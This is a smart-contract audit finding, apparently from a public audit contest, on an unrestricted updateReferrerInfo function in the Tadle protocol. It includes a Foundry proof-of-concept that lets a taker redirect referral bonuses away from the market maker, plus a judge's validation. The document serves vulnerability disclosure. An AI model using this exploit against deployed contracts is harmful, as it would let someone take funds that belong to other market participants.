Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

An Attacker might manipulate the referral rates which leads to unexpected behavior in the trade

Summary

The updateReferrerInfo(...) function in the SystemConfig.sol contract could be accessed by any user to arbitrarily modify the referrerRate and authorityRate for any referrer address. These rates are critical in determining the costs and rewards in trades within the PreMarkets.sol contract, and unauthorized changes can lead to unfair trade conditions. Attackers can manipulate these rates to unfairly shift costs and benefits between market participants, or execute front-running attacks by altering the rates just before a transaction is finalized, leading to failed transactions or unexpected costs for the taker. This vulnerability compromises the integrity and fairness of the protocol.

Vulnerability Details

The updateReferrerInfo(...) function is accessible to any user, enabling them to update or overwrite the referrerRate and authorityRate in referralInfoMap for any referrer address. This can be exploited by attackers to arbitrarily set these values, which are subsequently used in the CreateTaker(...) function within PreMarkets.sol.

The referrerRate is paid to the market taker, while the authorityRate is paid to the market maker. Since these rates directly influence the total token amount a taker must transfer, an attacker can manipulate them to unfairly increase the taker's cost or reduce the market maker's reward and vice versa. For instance, a market taker could set the authorityRate to 0 and assign the entire value to referrerRate, thus receiving the full bonus while depriving the market maker.

Moreover, this vulnerability allows for front-running attacks, where an attacker monitors the mempool and updates the referral rates before the taker's transaction is executed, potentially causing the transaction to fail or forcing the taker to pay an unexpected amount of tokens.

POC

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {ReferralInfo} from "../src/interfaces/ISystemConfig.sol";
import {
OfferStatus,
StockStatus,
AbortOfferStatus,
OfferType,
StockType,
OfferSettleType
} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address attacker = vm.addr(1);
address marketMaker = vm.addr(2);
address marketTaker = vm.addr(6);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
address owner = vm.addr(5);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR = bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
// deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(owner);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, owner);
vm.startPrank(owner);
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarktesLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
// create market place
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), attacker, 100000000 * 10 ** 18);
deal(attacker, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), marketTaker, 100 ether);
deal(marketTaker, 12 * 10 ** 18);
deal(address(mockUSDCToken), marketMaker, 100 ether);
//
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(marketTaker);
mockUSDCToken.approve(address(marketTaker), type(uint256).max);
vm.prank(marketMaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
// call capital pool to approve tokenmanager to spend the token
capitalPool.approve(address(mockUSDCToken));
}
function test_bounce_without_manipulation() public {
// assume that owner calls updateReferralExtraRateMap and set it to 400_000
vm.startPrank(owner);
systemConfig.updateReferralExtraRateMap(marketTaker, 100_000);
vm.stopPrank();
// then someone calls updateReferrerInfo and set the referrerRate to 300_000
uint256 referralExtraRate = systemConfig.referralExtraRateMap(marketTaker);
console2.log("referralExtraRate", referralExtraRate);
vm.startPrank(user2);
//uint256 internal constant REFERRAL_RATE_DECIMAL_SCALER = 1_000_000;
systemConfig.updateReferrerInfo(marketTaker, 300_000, 100_000);
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(marketTaker);
console2.log("referralInfo.referrerRate", referralInfo.referrerRate);
console2.log("referralInfo.authorityRate", referralInfo.authorityRate);
console2.log("baseReferralRate", baseReferralRate);
vm.stopPrank();
// address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
// malicious Market Maker, create an offer
vm.startPrank(marketMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 500, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(marketTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
// let's see both wallets status
console2.log("After taker creation");
console2.log("Market Maker");
/*
authorityReferralBonus: 10000000000000
referrerReferralBonus: 15000000000000
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
}
function test_taker_manipulate_referral() public {
// assume that owner calls updateReferralExtraRateMap and set it to 400_000
vm.startPrank(owner);
systemConfig.updateReferralExtraRateMap(marketTaker, 100_000);
vm.stopPrank();
// then someone calls updateReferrerInfo and set the referrerRate to 300_000
uint256 referralExtraRate = systemConfig.referralExtraRateMap(marketTaker);
console2.log("referralExtraRate", referralExtraRate);
vm.startPrank(user2);
//uint256 internal constant REFERRAL_RATE_DECIMAL_SCALER = 1_000_000;
systemConfig.updateReferrerInfo(marketTaker, 400_000, 0);
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(marketTaker);
console2.log("referralInfo.referrerRate", referralInfo.referrerRate);
console2.log("referralInfo.authorityRate", referralInfo.authorityRate);
console2.log("baseReferralRate", baseReferralRate);
vm.stopPrank();
// address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
// malicious Market Maker, create an offer
vm.startPrank(marketMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 500, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(marketTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
/*
authorityReferralBonus: 0
referrerReferralBonus: 20000000000000
*/
vm.stopPrank();
// let's see both wallets status
console2.log("After taker creation");
console2.log("Market Maker");
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
}
function log_claimable_per_address(address wallet) private {
uint256 walletBalance = mockUSDCToken.balanceOf(wallet);
uint256 RefundAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint256 TaxAmount = tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.TaxIncome);
uint256 SalesRevenueAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 BounceAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.ReferralBonus);
uint256 PointTokenAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.PointToken);
uint256 RemainingCashAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.RemainingCash);
// console log all
console2.log("logging claimable status for wallet %s ", wallet);
console2.log("walletBalance", walletBalance);
console2.log("RefundAmount", RefundAmount);
console2.log("TaxAmount", TaxAmount);
console2.log("SalesRevenueAmount", SalesRevenueAmount);
console2.log("BounceAmount", BounceAmount);
console2.log("PointTokenAmount", PointTokenAmount);
console2.log("RemainingCashAmount", RemainingCashAmount);
}
}

Impact

This vulnerability disrupts the fairness and transparency of trades between market participants. It allows for potential front-running attacks, where the market taker’s transaction can be manipulated to fail or result in unexpected costs, undermining the protocol’s integrity.

Tools Used

Manual code review

Recommendations

Apply additional rules on who can call the updateReferrerInfo(...) function, how the function can be invoked, and under what conditions it can be executed. This might include restricting access to certain roles, implementing multi-signature approvals, and setting time-based constraints or delays on updates to prevent abuse.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.